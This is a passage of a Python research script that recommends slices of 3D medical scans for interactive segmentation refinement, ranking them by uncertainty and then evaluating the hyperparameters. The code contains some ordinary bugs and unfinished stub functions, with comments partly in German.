indices_dim_0_V3), axis=0)\r\n indices_dim_1 = np.concatenate((indices_dim_1_V2, indices_dim_1_V3), axis=0)\r\n indices_dim_2 = np.concatenate((indices_dim_2_V2, indices_dim_2_V3), axis=0)\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n recommended_patch_area = np.prod(filtered_mask[:, :, 0])\r\n return filtered_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_V5(prediction, gt, uncertainty, params):\r\n \"Find best slices based on maximum 2D plane uncertainty in every dimension with a min slice gap. Take merge indices from every dim and take only the best ignoring the dims.\"\r\n uncertainty_dim_0 = np.sum(-1*uncertainty, axis=(1, 2))\r\n uncertainty_dim_1 = np.sum(-1*uncertainty, axis=(0, 2))\r\n uncertainty_dim_2 = np.sum(-1*uncertainty, axis=(0, 1))\r\n indices_dim_0 = np.argsort(uncertainty_dim_0)\r\n indices_dim_1 = np.argsort(uncertainty_dim_1)\r\n indices_dim_2 = np.argsort(uncertainty_dim_2)\r\n indices_dim_0 = filter_indices(indices_dim_0, num_slices*100, slice_gap)\r\n indices_dim_1 = filter_indices(indices_dim_1, num_slices*100, slice_gap)\r\n indices_dim_2 = filter_indices(indices_dim_2, num_slices*100, slice_gap)\r\n sum_dim_0 = uncertainty_dim_0[indices_dim_0]\r\n sum_dim_1 = uncertainty_dim_0[indices_dim_1]\r\n sum_dim_2 = uncertainty_dim_0[indices_dim_2]\r\n dim_0_indices = np.ones(len(sum_dim_0)) * 0\r\n dim_1_indices = np.ones(len(sum_dim_1)) * 1\r\n dim_2_indices = np.ones(len(sum_dim_2)) * 2\r\n sum = np.concatenate([sum_dim_0, sum_dim_1, sum_dim_2], axis=0)\r\n dim_indices = np.concatenate([dim_0_indices, dim_1_indices, dim_2_indices], axis=0)\r\n indices_dim = np.concatenate([indices_dim_0, indices_dim_1, indices_dim_2], axis=0)\r\n indices = np.argsort(sum)[:num_slices]\r\n dim_indices = dim_indices[indices]\r\n indices_dim = indices_dim[indices]\r\n indices_dim_0, indices_dim_1, indices_dim_2 = [], [], []\r\n for i in range(len(indices)):\r\n if dim_indices[i] == 0:\r\n indices_dim_0.append(indices_dim[i])\r\n elif dim_indices[i] == 1:\r\n indices_dim_1.append(indices_dim[i])\r\n else:\r\n indices_dim_2.append(indices_dim[i])\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n recommended_patch_area = np.prod(filtered_mask[:, :, 0])\r\n return filtered_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_V6(prediction, gt, uncertainty, params):\r\n \"Find best slices based on maximum 2D plane uncertainty in every dimension with a min slice gap. Weight uncertainty based on slice prediction sum.\"\r\n uncertainty_dim_0 = np.sum(-1*uncertainty, axis=(1, 2))\r\n uncertainty_dim_1 = np.sum(-1*uncertainty, axis=(0, 2))\r\n uncertainty_dim_2 = np.sum(-1*uncertainty, axis=(0, 1))\r\n prediction_dim_0 = np.sum(prediction, axis=(1, 2))\r\n prediction_dim_1 = np.sum(prediction, axis=(0, 2))\r\n prediction_dim_2 = np.sum(prediction, axis=(0, 1))\r\n prediction_dim_0 = utils.normalize(prediction_dim_0)\r\n prediction_dim_1 = utils.normalize(prediction_dim_1)\r\n prediction_dim_2 = utils.normalize(prediction_dim_2)\r\n uncertainty_dim_0 = uncertainty_dim_0 * prediction_dim_0\r\n uncertainty_dim_1 = uncertainty_dim_1 * prediction_dim_1\r\n uncertainty_dim_2 = uncertainty_dim_2 * prediction_dim_2\r\n indices_dim_0 = np.argsort(uncertainty_dim_0)\r\n indices_dim_1 = np.argsort(uncertainty_dim_1)\r\n indices_dim_2 = np.argsort(uncertainty_dim_2)\r\n indices_dim_0 = filter_indices(indices_dim_0, num_slices, slice_gap)\r\n indices_dim_1 = filter_indices(indices_dim_1, num_slices, slice_gap)\r\n indices_dim_2 = filter_indices(indices_dim_2, num_slices, slice_gap)\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n recommended_patch_area = np.prod(filtered_mask[:, :, 0])\r\n return filtered_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_V7(prediction, gt, uncertainty, params, name):\r\n \"Like V2, but filters out all slices with less than 40% of summed uncertainty than that of the max slice\"\r\n uncertainty_dim_0 = np.sum(-1*uncertainty, axis=(1, 2))\r\n uncertainty_dim_1 = np.sum(-1*uncertainty, axis=(0, 2))\r\n uncertainty_dim_2 = np.sum(-1*uncertainty, axis=(0, 1))\r\n indices_dim_0 = np.argsort(uncertainty_dim_0)\r\n indices_dim_1 = np.argsort(uncertainty_dim_1)\r\n indices_dim_2 = np.argsort(uncertainty_dim_2)\r\n indices_dim_0 = filter_indices(indices_dim_0, params[\"num_slices\"], params[\"slice_gap\"])\r\n indices_dim_1 = filter_indices(indices_dim_1, params[\"num_slices\"], params[\"slice_gap\"])\r\n indices_dim_2 = filter_indices(indices_dim_2, params[\"num_slices\"], params[\"slice_gap\"])\r\n uncertainty_dim_0 *= -1\r\n uncertainty_dim_1 *= -1\r\n uncertainty_dim_2 *= -1\r\n\r\n def filter_by_required_uncertainty(uncertainty_dim, indices_dim):\r\n min_required_uncertainty = uncertainty_dim[indices_dim[0]] * params[\"min_uncertainty\"]\r\n indices_dim = [index_dim for index_dim in indices_dim if uncertainty_dim[index_dim] >= min_required_uncertainty]\r\n return indices_dim\r\n\r\n indices_dim_0 = filter_by_required_uncertainty(uncertainty_dim_0, indices_dim_0)\r\n indices_dim_1 = filter_by_required_uncertainty(uncertainty_dim_1, indices_dim_1)\r\n indices_dim_2 = filter_by_required_uncertainty(uncertainty_dim_2, indices_dim_2)\r\n\r\n num_infected_slices = comp_infected_slices(prediction)\r\n num_infected_slices = int((num_infected_slices * params[\"max_slices_based_on_infected_slices\"]) / 3)\r\n if num_infected_slices == 0:\r\n num_infected_slices = 1\r\n indices_dim_0 = indices_dim_0[:num_infected_slices]\r\n indices_dim_1 = indices_dim_1[:num_infected_slices]\r\n indices_dim_2 = indices_dim_2[:num_infected_slices]\r\n\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n recommended_patch_area = np.prod(filtered_mask[:, :, 0].shape)\r\n\r\n # indices_dim_0: Sagittal\r\n # indices_dim_1: Coronal\r\n # indices_dim_2: Axial\r\n chosen_slices = {}\r\n chosen_slices[\"Subject\"] = name\r\n chosen_slices[\"Sagittal\"] = [int(index) for index in indices_dim_0]\r\n chosen_slices[\"Coronal\"] = [int(index) for index in indices_dim_1]\r\n chosen_slices[\"Axial\"] = [int(index) for index in indices_dim_2]\r\n with open(choosen_slices_export_path + name[:-7] + '.json', 'w', encoding='utf-8') as f:\r\n json.dump(chosen_slices, f, ensure_ascii=False, indent=4)\r\n\r\n return filtered_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_V8(prediction, gt, uncertainty, params, min_uncertainty=0.15, max_slices_based_on_infected_slices=0.20, roi_uncertainty=0.95):\r\n \"Like V2, but filters out all slices with less than 40% of summed uncertainty than that of the max slice, and computes ROIs that capture 95% of uncertainty\"\r\n uncertainty_dim_0 = np.sum(-1*uncertainty, axis=(1, 2))\r\n uncertainty_dim_1 = np.sum(-1*uncertainty, axis=(0, 2))\r\n uncertainty_dim_2 = np.sum(-1*uncertainty, axis=(0, 1))\r\n indices_dim_0 = np.argsort(uncertainty_dim_0)\r\n indices_dim_1 = np.argsort(uncertainty_dim_1)\r\n indices_dim_2 = np.argsort(uncertainty_dim_2)\r\n indices_dim_0 = filter_indices(indices_dim_0, params[\"num_slices\"], params[\"slice_gap\"])\r\n indices_dim_1 = filter_indices(indices_dim_1, params[\"num_slices\"], params[\"slice_gap\"])\r\n indices_dim_2 = filter_indices(indices_dim_2, params[\"num_slices\"], params[\"slice_gap\"])\r\n uncertainty_dim_0 *= -1\r\n uncertainty_dim_1 *= -1\r\n uncertainty_dim_2 *= -1\r\n\r\n def filter_by_required_uncertainty(uncertainty_dim, indices_dim):\r\n min_required_uncertainty = uncertainty_dim[indices_dim[0]] * min_uncertainty\r\n indices_dim = [index_dim for index_dim in indices_dim if uncertainty_dim[index_dim] >= min_required_uncertainty]\r\n return indices_dim\r\n\r\n indices_dim_0 = filter_by_required_uncertainty(uncertainty_dim_0, indices_dim_0)\r\n indices_dim_1 = filter_by_required_uncertainty(uncertainty_dim_1, indices_dim_1)\r\n indices_dim_2 = filter_by_required_uncertainty(uncertainty_dim_2, indices_dim_2)\r\n\r\n num_infected_slices = comp_infected_slices(prediction)\r\n num_infected_slices = int((num_infected_slices * max_slices_based_on_infected_slices) / 3)\r\n # num_infected_slices = int(num_infected_slices * max_slices_based_on_infected_slices)\r\n if num_infected_slices == 0:\r\n num_infected_slices = 1\r\n indices_dim_0 = indices_dim_0[:num_infected_slices]\r\n indices_dim_1 = indices_dim_1[:num_infected_slices]\r\n indices_dim_2 = indices_dim_2[:num_infected_slices]\r\n\r\n recommended_slices = len(indices_dim_0) + len(indices_dim_1) + len(indices_dim_2)\r\n filtered_mask = filter_mask(gt, indices_dim_0, indices_dim_1, indices_dim_2)\r\n\r\n def find_patches(filtered_mask, uncertainty, indices_dim_0, indices_dim_1, indices_dim_2):\r\n # Find objects based on uncertainty\r\n # Crop objects\r\n # for each object: patch_mask[object] = filtered_mask[object]\r\n if method == \"my_method\" or method == \"DeepIGeos1\" or method == \"DeepIGeos2\":\r\n patch_mask = np.zeros_like(filtered_mask)\r\n else:\r\n patch_mask = np.ones_like(filtered_mask) * -1\r\n recommended_patch_area = 0\r\n indices_dim_all = [indices_dim_0, indices_dim_1, indices_dim_2]\r\n\r\n for axis in range(3):\r\n for index in indices_dim_all[axis]:\r\n # center = np.rint(center_of_mass(uncertainty[index, :, :])).astype(int)\r\n center = np.rint(center_of_mass(np.moveaxis(uncertainty, axis, 0)[index, :, :])).astype(int)\r\n total_mass = np.sum(np.moveaxis(uncertainty, axis, 0)[index, :, :])\r\n roi_size = 5\r\n # while total_mass * roi_uncertainty > np.sum(uncertainty[index, center[0]-roi_size:center[0]+roi_size, center[1]-roi_size:center[1]+roi_size]):\r\n while total_mass * roi_uncertainty > np.sum(np.moveaxis(uncertainty, axis, 0)[index, center[0]-roi_size:center[0]+roi_size, center[1]-roi_size:center[1]+roi_size]):\r\n roi_size += 1\r\n # recommended_patch_area += roi_size*roi_size*4\r\n patch_mask_tmp = np.moveaxis(patch_mask, axis, 0)\r\n filtered_mask_tmp = np.moveaxis(filtered_mask, axis, 0)\r\n filtered_mask_tmp_patch = filtered_mask_tmp[index, center[0] - roi_size:center[0] + roi_size, center[1] - roi_size:center[1] + roi_size]\r\n recommended_patch_area += filtered_mask_tmp_patch.size\r\n patch_mask_tmp[index, center[0] - roi_size:center[0] + roi_size, center[1] - roi_size:center[1] + roi_size] = filtered_mask_tmp_patch\r\n patch_mask = np.moveaxis(patch_mask_tmp, 0, axis)\r\n filtered_mask = np.moveaxis(filtered_mask_tmp, 0, axis)\r\n # patch_mask[index, center[0]-roi_size:center[0]+roi_size, center[1]-roi_size:center[1]+roi_size] = filtered_mask[index, center[0]-roi_size:center[0]+roi_size, center[1]-roi_size:center[1]+roi_size]\r\n\r\n\r\n # for index in indices_dim_1:\r\n # center = np.rint(center_of_mass(uncertainty[:, index, :])).astype(int)\r\n # total_mass = np.sum(uncertainty[:, index, :])\r\n # roi_size = 1\r\n # while total_mass * roi_uncertainty > np.sum(uncertainty[center[0]-roi_size:center[0]+roi_size, index, center[1]-roi_size:center[1]+roi_size]):\r\n # roi_size += 1\r\n # recommended_patch_area += roi_size * roi_size * 4\r\n # patch_mask[center[0]-roi_size:center[0]+roi_size, index, center[1]-roi_size:center[1]+roi_size] = filtered_mask[center[0]-roi_size:center[0]+roi_size, index, center[1]-roi_size:center[1]+roi_size]\r\n # for index in indices_dim_2:\r\n # center = np.rint(center_of_mass(uncertainty[:, :, index])).astype(int)\r\n # total_mass = np.sum(uncertainty[:, :, index])\r\n # roi_size = 1\r\n # while total_mass * roi_uncertainty > np.sum(uncertainty[center[0]-roi_size:center[0]+roi_size, center[1]-roi_size:center[1]+roi_size, index]):\r\n # roi_size += 1\r\n # recommended_patch_area += roi_size * roi_size * 4\r\n # patch_mask[center[0]-roi_size:center[0]+roi_size, center[1]-roi_size:center[1]+roi_size, index] = filtered_mask[center[0]-roi_size:center[0]+roi_size, center[1]-roi_size:center[1]+roi_size, index]\r\n return patch_mask, recommended_patch_area\r\n\r\n patch_mask, recommended_patch_area = find_patches(filtered_mask, uncertainty, indices_dim_0, indices_dim_1, indices_dim_2)\r\n # recommended_patch_area = np.prod(filtered_mask[:, :, 0])\r\n return patch_mask, recommended_slices, recommended_patch_area\r\n\r\n\r\ndef find_best_slices_V9(prediction, uncertainty, slice_gap, params):\r\n \"Idee: V2, aber nur die slices nehmen die noch min 60% so viel uncertainty haben wie die erste slice + für jede slice den Bereich eingrenzen der 70% der Uncertainty umfasst\"\r\n \"Neue metriken dafür machen: selektierte anzahl pixel / gesamt anzahl pixel ; selektierte anzahl infected pixel / gesamt anzahl infected pixel ; Absolute anzahl von selektieren patches\"\r\n pass\r\n\r\n\r\ndef find_best_slices_V10(prediction, uncertainty, slice_gap, params):\r\n \"\"\"Idee für V5: V2 aber uncertainties 5 Grad drehen, resamplen V2 ausführen, das ganze 360/5=72 mal\"\"\"\r\n pass\r\n\r\n\r\n\r\n# def partition_blob(blob_mask):\r\n# def find_side_length(blob_mask, dim):\r\n# dims = [0, 1, 2]\r\n# dims.remove(dim)\r\n# blob_mask_dim = np.sum(blob_mask, axis=tuple(dims))\r\n# nonzero_indices = np.nonzero(blob_mask_dim)\r\n# min_index = np.min(nonzero_indices)\r\n# max_index = np.max(nonzero_indices)\r\n# side_length = max_index - min_index\r\n# return side_length\r\n# return [blob_mask]\r\n\r\n\r\ndef filter_indices(indices, num_slices, slice_gap):\r\n index = 1\r\n while index < len(indices) and index < num_slices: # TODO: index < num_slices: Wrong as not every index is accepted, so index should go over num_slices, but not more that len(acquired_slices)\r\n tmp = indices[:index]\r\n if np.min(np.abs(tmp - indices[index])) <= slice_gap: # TODO: Replace indices[index] with just index? indices[index] is a sum.\r\n indices = np.delete(indices, index)\r\n else:\r\n index += 1\r\n indices = indices[:num_slices]\r\n return indices\r\n\r\n\r\ndef filter_mask(mask, indices_dim_0, indices_dim_1, indices_dim_2):\r\n slices = np.zeros_like(mask)\r\n\r\n for index in indices_dim_0:\r\n slices[int(index), :, :] = 1\r\n\r\n for index in indices_dim_1:\r\n slices[:, int(index), :] = 1\r\n\r\n for index in indices_dim_2:\r\n slices[:, :, int(index)] = 1\r\n\r\n # filtered_mask = copy.deepcopy(mask)\r\n # filtered_mask = np.logical_and(filtered_mask, slices)\r\n if method == \"my_method\" or method == \"DeepIGeos1\" or method == \"DeepIGeos2\" or method == \"P_Net_BrainTumor\" or method == \"P_Net_Pancreas\":\r\n filtered_mask = np.zeros_like(mask)\r\n else:\r\n filtered_mask = np.ones_like(mask) * -1\r\n unique = np.unique(mask)\r\n for label in unique:\r\n filtered_mask[(slices == 1) & (mask == label)] = label\r\n\r\n return filtered_mask\r\n\r\n\r\ndef comp_infected_slices(mask):\r\n mask_slices = np.sum(mask, axis=(0, 1))\r\n mask_slices = np.count_nonzero(mask_slices)\r\n return mask_slices\r\n\r\n\r\ndef eval_all_hyperparameters(save_dir, version, method, default_params, params, devices, parallel):\r\n result_params = {}\r\n key_name = str(list(params.keys()))\r\n pbar = tqdm(total=sum([len(params[param_key]) for param_key in params.keys()]))\r\n for param_key in params.keys():\r\n result_param_values = {}\r\n for param_value in params[param_key]:\r\n current_params = copy.deepcopy(default_params)\r\n current_params[param_key] = param_value\r\n result = eval_single_hyperparameters(current_params, parallel)\r\n result_param_values[param_value] = result\r\n pbar.update(1)\r\n #print(\"Results saved.\")\r\n result_params[param_key] = result_param_values\r\n with open(save_dir + \"hyperparam_eval_results_\" + version + \"_\" + method + \"_\" + key_name + \".pkl\", 'wb') as handle:\r\n pickle.dump(result_params, handle, protocol=pickle.HIGHEST_PROTOCOL)\r\n result_params[param_key] = result_param_values\r\n with open(save_dir + \"hyperparam_eval_results_\" + version + \"_\" + method + \"_\" + key_name + \".pkl\", 'wb') as handle:\r\n pickle.dump(result_params, handle, protocol=pickle.HIGHEST_PROTOCOL)\r\n pbar.close()\r\n # print(\"Saving hyperparam evaluation...\")\r\n # with open(save_dir + \"hyperparam_eval_results_\" + version + \"_\" + method + \".pkl\", 'wb') as handle:\r\n # pickle.dump(result_params, handle, protocol=pickle.HIGHEST_PROTOCOL)\r\n print(\"Hyperparam evaluation finished.\")\r\n\r\n\r\ndef eval_test_set(save_dir, version, method, params, parallel):\r\n result = eval_single_hyperparameters(params, parallel)\r\n with open(save_dir + version + \"_\" + method + \"_\" + uncertainty_quantification + \".pkl\", 'wb') as handle:\r\n pickle.dump(result, handle, protocol=pickle.HIGHEST_PROTOCOL)\r\n return\r\n\r\n\r\ndef eval_single_hyperparameters(params, parallel, debug=False):\r\n print(\"Starting hyperparam evaluation...\")\r\n print(params)\r\n if not reuse:\r\n shutil.rmtree(recommended_masks_path, ignore_errors=True)\r\n Path(recommended_masks_path).mkdir(parents=True, exist_ok=True)\r\n shutil.rmtree(refined_prediction_save_path, ignore_errors=True)\r\n Path(refined_prediction_save_path).mkdir(parents=True, exist_ok=True)\r\n if not parallel and not reuse:\r\n # total_ratio = recommend_slices(image_path, prediction_path, uncertainty_path, gt_path, save_path, find_best_slices_func, num_slices, slice_gap, default_size)\r\n recommended_result = None\r\n elif not reuse:\r\n recommended_result = recommend_slices_parallel(prediction_path, uncertainty_path, gt_path, recommended_masks_path, find_best_slices_func, params)\r\n else:\r\n recommended_result = None\r\n prediction_result = compute_predictions()\r\n # prediction_result = None\r\n if debug:\r\n print(\"inf slice ratio: {}, inf patch ratio: {}\".format(np.sum([r[\"recommended_slices\"] for r in recommended_result]) / np.sum([r[\"gt_infected_slices\"] for r in recommended_result]),\r\n np.sum([r[\"recommended_patch_area\"] for r in recommended_result]) / np.sum([r[\"infection_size\"] for r in recommended_result])))\r\n return {\"recommended_result\": recommended_result, \"prediction_result\": prediction_result}\r\n\r\n\r\n# def grid_search(save_dir, version, slice_gap_list, num_slices_list, default_size, devices, parallel):\r\n# results = []\r\n# if os.path.isfile(save_dir + \"grid_search_results_\" + version + \".pkl\"):\r\n# with open(save_dir + \"grid_search_results_\" + version + \".pkl\", 'rb') as handle:\r\n# results = pickle.load(handle)\r\n# print(results)\r\n# for slice_gap in slice_gap_list:\r\n# for num_slices in num_slices_list:\r\n# print(\"slice_gap: {}, default_size: {}, num_slices: {}\".format(slice_gap, default_size, num_slices))\r\n# if not parallel and not reuse:\r\n# # total_ratio = recommend_slices(image_path, prediction_path, uncertainty_path, gt_path, save_path, find_best_slices_func, num_slices, slice_gap, default_size)\r\n# pass\r\n# elif not reuse:\r\n# total_ratio = recommend_slices_parallel(prediction_path, uncertainty_path, gt_path, save_path, find_best_slices_func, num_slices, slice_gap, default_size)\r\n# else:\r\n# total_ratio = -1\r\n# mean_dice_score, median_dice_score = compute_predictions()\r\n# results.append({\"slice_gap\": slice_gap, \"num_slices\": num_slices, \"total_ratio\": total_ratio, \"mean_dice_score\": mean_dice_score, \"median_dice_score\": median_dice_score})\r\n# with open(save_dir + \"grid_search_results_\" + version + \".pkl\", 'wb') as handle:\r\n# pickle.dump(results, handle, protocol=pickle.HIGHEST_PROTOCOL)\r\n# print(results)\r\n\r\n\r\ndef compute_predictions():\r\n if method == \"my_method\" or method == \"P_Net_BrainTumor\" or method == \"P_Net_Pancreas\" or method == \"P_Net_Covid\":\r\n recommended_result = my_method.compute_predictions(devices, recommended_masks_path, prediction_path, gt_path, refined_prediction_save_path, refinement_inference_tmp, model, class_labels, method)\r\n # elif method == \"DeepIGeos1\":\r\n # recommended_result = deep_i_geos.compute_predictions(devices, recommended_masks_path, image_path, prediction_path, gt_path, refined_prediction_save_path, refinement_inference_tmp, model, class_labels, 0.99)\r\n # elif method == \"DeepIGeos2\":\r\n # recommended_result = deep_i_geos.compute_predictions(devices, recommended_masks_path, image_path, prediction_path, gt_path, refined_prediction_save_path, refinement_inference_tmp, model, class_labels, 0.00)\r\n elif method == \"GraphCut1\":\r\n recommended_result = graph_cut.compute_predictions(image_path, recommended_masks_path, gt_path, refined_prediction_save_path + \"/\", method, modality, class_labels)\r\n elif method == \"GraphCut2\":\r\n recommended_result = graph_cut.compute_predictions(image_path, recommended_masks_path, gt_path, refined_prediction_save_path + \"/\", method, modality, class_labels)\r\n elif method == \"GraphCut3\":\r\n recommended_result = graph_cut.compute_predictions(image_path, recommended_masks_path, gt_path, refined_prediction_save_path + \"/\", method, modality, class_labels)\r\n elif method == \"random_walker\":\r\n recommended_result = random_walker.compute_predictions(image_path, recommended_masks_path, gt_path, refined_prediction_save_path + \"/\", modality, class_labels)\r\n elif method == \"watershed\":\r\n recommended_result = watershed.compute_predictions(image_path, recommended_masks_path, gt_path, refined_prediction_save_path + \"/\", modality, class_labels)\r\n return recommended_result\r\n\r\n\r\ndef pkl2csv(filename):\r\n with open(filename, 'rb') as handle:\r\n results = pickle.load(handle)\r\n\r\n index = np.sort(np.unique([result[\"slice_gap\"] for result in results]))\r\n columns = np.sort(np.unique([result[\"num_slices\"] for result in results]))\r\n df = pd.DataFrame(index=index, columns=columns)\r\n # slice_gap, num_slices\r\n for result in results:\r\n df.at[result[\"slice_gap\"], result[\"num_slices\"]] = [result[\"total_ratio\"], result[\"dice_score\"]]\r\n print(df)\r\n df.to_csv(filename[:-4] + \".csv\")\r\n\r\n\r\nif __name__ == '__main__':\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"-t\", \"--task\", help=\"Set the task name\", required=True)\r\n parser.add_argument(\"-m\", \"--model\", help=\"Set the model name\", required=True)\r\n parser.add_argument(\"-s\", \"--set\", help=\"val/test\", required=True)\r\n parser.add_argument(\"-v\", \"--version\", help=\"Set the version\", required=True)\r\n parser.add_argument(\"-uq\", \"--uncertainty_quantification\", help=\"Set the type of uncertainty quantification method to use\", required=True)\r\n parser.add_argument(\"-um\", \"--uncertainty_measure\", help=\"Set the type of uncertainty measure to use\", required=True)\r\n parser.add_argument(\"--parallel\", action=\"store_true\", default=False, help=\"Set the version\", required=False)\r\n parser.add_argument(\"-method\", help=\"Set the method\", required=True)\r\n parser.add_argument(\"-modality\", help=\"Set the modality number\", required=True)\r\n parser.add_argument(\"--reuse\", action=\"store_true\", default=False, help=\"Reuse recommended masks from last run\", required=False)\r\n parser.add_argument(\"-a\", \"--apply\", help=\"Apply for inference (infer) or hyperparameter evaluation (eval)\", required=True)\r\n args = parser.parse_args()\r\n devices = [0, 1, 2]\r\n\r\n version = str(args.version)\r\n uncertainty_quantification = str(args.uncertainty_quantification)\r\n uncertainty_measure = str(args.uncertainty_measure)\r\n\r\n if version == \"V1\":\r\n find_best_slices_func = find_best_slices_V1\r\n elif version == \"V2\":\r\n find_best_slices_func = find_best_slices_V2\r\n elif version == \"V3\":\r\n find_best_slices_func = find_best_slices_V3\r\n elif version == \"V4\":\r\n find_best_slices_func = find_best_slices_V4\r\n elif version == \"V5\":\r\n find_best_slices_func = find_best_slices_V5\r\n elif version == \"V6\":\r\n find_best_slices_func = find_best_slices_V6\r\n elif version == \"V7\":\r\n find_best_slices_func = find_best_slices_V7\r\n elif version == \"V8\":\r\n find_best_slices_func = find_best_slices_V8\r\n elif version == \"BV1\":\r\n find_best_slices_func = find_best_slices_baseline_V1\r\n elif version == \"BV2\":\r\n find_best_slices_func = find_best_slices_baseline_V2\r\n elif version == \"BV3\":\r\n find_best_slices_func = find_best_slices_baseline_V3\r\n else:\r\n raise RuntimeError(\"find_best_slices_func unknown\")\r\n\r\n if uncertainty_quantification == \"e\":\r\n uncertainty_quantification = \"ensemble\"\r\n elif uncertainty_quantification == \"t\":\r\n uncertainty_quantification = \"tta\"\r\n elif uncertainty_quantification == \"m\":\r\n uncertainty_quantification = \"mcdo\"\r\n else:\r\n raise RuntimeError(\"uncertainty_quantification unknown\")\r\n\r\n if uncertainty_measure == \"b\":\r\n uncertainty_measure = \"bhattacharyya_coefficient\"\r\n elif uncertainty_measure == \"e\":\r\n uncertainty_measure = \"predictive_entropy\"\r\n elif uncertainty_measure == \"v\":\r\n uncertainty_measure = \"predictive_variance\"\r\n else:\r\n raise RuntimeError(\"uncertainty_measure unknown\")\r\n\r\n task = args.task # \"Task072_allGuided_ggo\"\r\n model = args.model\r\n set = args.set # \"val\"\r\n method = args.method\r\n task_path = \"/gris/gris-f/homelv/kgotkows/datasets/nnUnet_datasets/nnUNet_raw_data/nnUNet_raw_data/\" + task + \"/\"\r\n base_path = task_path + \"refinement_\" + set + \"/\"\r\n image_path = base_path + \"/images/\"\r\n prediction_path = base_path + \"/basic_predictions/\"\r\n uncertainty_path = base_path + \"/uncertainties/\" + uncertainty_quantification + \"/\" + uncertainty_measure + \"/\"\r\n gt_path = base_path + \"/labels/\"\r\n recommended_masks_path = base_path + \"/recommended_masks/\" + version + \"/\" + method + \"/\"\r\n choosen_slices_export_path = base_path + \"/choosen_slices_export/\" + version + \"/\" + method + \"/\"\r\n refined_prediction_save_path = base_path + \"/refined_predictions/\" + method\r\n grid_search_save_path = base_path + \"/GridSearchResults/\"\r\n test_set_save_path = base_path + \"/eval_results/raw/\"\r\n refinement_inference_tmp = base_path + \"/refinement_inference_tmp/part\"\r\n modality = int(args.modality)\r\n reuse = args.reuse\r\n\r\n pool = mp.Pool(processes=8) # 8\r\n if not reuse:\r\n shutil.rmtree(recommended_masks_path, ignore_errors=True)\r\n Path(recommended_masks_path).mkdir(parents=True, exist_ok=True)\r\n shutil.rmtree(refined_prediction_save_path, ignore_errors=True)\r\n Path(refined_prediction_save_path).mkdir(parents=True, exist_ok=True)\r\n shutil.rmtree(choosen_slices_export_path, ignore_errors=True)\r\n Path(choosen_slices_export_path).mkdir(parents=True, exist_ok=True)\r\n\r\n with open(task_path + \"dataset.json\") as f:\r\n class_labels = json.load(f)\r\n class_labels = np.asarray(list(class_labels[\"labels\"].keys())).astype(int)\r\n\r\n # slice_gap = [20] # [20, 25]\r\n # num_slices = [12]\r\n # grid_search(grid_search_save_path, version, slice_gap, num_slices, 1280, devices, args.parallel)\r\n\r\n if args.apply == \"eval\":\r\n\r\n default_params = {}\r\n default_params[\"slice_gap\"] = 20 # 20\r\n default_params[\"num_slices\"] = 12\r\n default_params[\"max_slices_based_on_infected_slices\"] = 0.28 # 0.5, 0.23\r\n default_params[\"min_uncertainty\"] = 0.0 # 0.0, 0.15\r\n default_params[\"default_size\"] = 1280\r\n\r\n params = {}\r\n # params[\"slice_gap\"] = [10, 15, 20, 25, 30, 40, 50, 70, 80, 90, 100, 110, 120, 130]\r\n # params[\"num_slices\"] = [6, 7, 8, 9, 10, 11, 12, 13, 14, 15]\r\n # params[\"max_slices_based_on_infected_slices\"] = [0.05, 0.1, 0.15, 0.2, 0.25, 0.3, 0.35, 0.4, 0.45, 0.5]\r\n params[\"min_uncertainty\"] = [0.05, 0.1, 0.15, 0.2, 0.25, 0.3, 0.35, 0.4]\r\n params_list = [params]\r\n\r\n # params_list = [{\"slice_gap\": [10, 15, 20, 25, 30, 40, 50, 70, 80, 90, 100, 110, 120, 130]},\r\n # {\"num_slices\": [6, 7, 8, 9, 10, 11, 12, 13, 14, 15]},\r\n # {\"max_slices_based_on_infected_slices\": [0.05, 0.1, 0.15, 0.2, 0.25, 0.3, 0.35, 0.4, 0.45, 0.5]},\r\n # {\"min_uncertainty\": [0.05, 0.1, 0.15, 0.2, 0.25, 0.3, 0.35, 0.4]}]\r\n\r\n for params in params_list:\r\n eval_all_hyperparameters(grid_search_save_path, version, method, default_params, params, devices, args.parallel)\r\n\r\n elif args.apply == \"infer\":\r\n test_set_params = {}\r\n test_set_params[\"slice_gap\"] = 30 # 20\r\n test_set_params[\"num_slices\"] = 12 # 12\r\n test_set_params[\"max_slices_based_on_infected_slices\"] = 0.23\r\n test_set_params[\"min_uncertainty\"] = 0.10\r\n test_set_params[\"default_size\"] = 1280\r\n\r\n eval_test_set(test_set_save_path, version, method, test_set_params, args.parallel)\r\n else:\r\n raise RuntimeError(\"Apply unknown.\")\r\n\r\n pool.close()\r\n pool.join()\r\n print(\"Test\")\r\n","sub_path":"i3Deep/mask_recommendation/mask_recommendation.py","file_name":"mask_recommendation.py","file_ext":"py","file_size_in_byte":45150,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
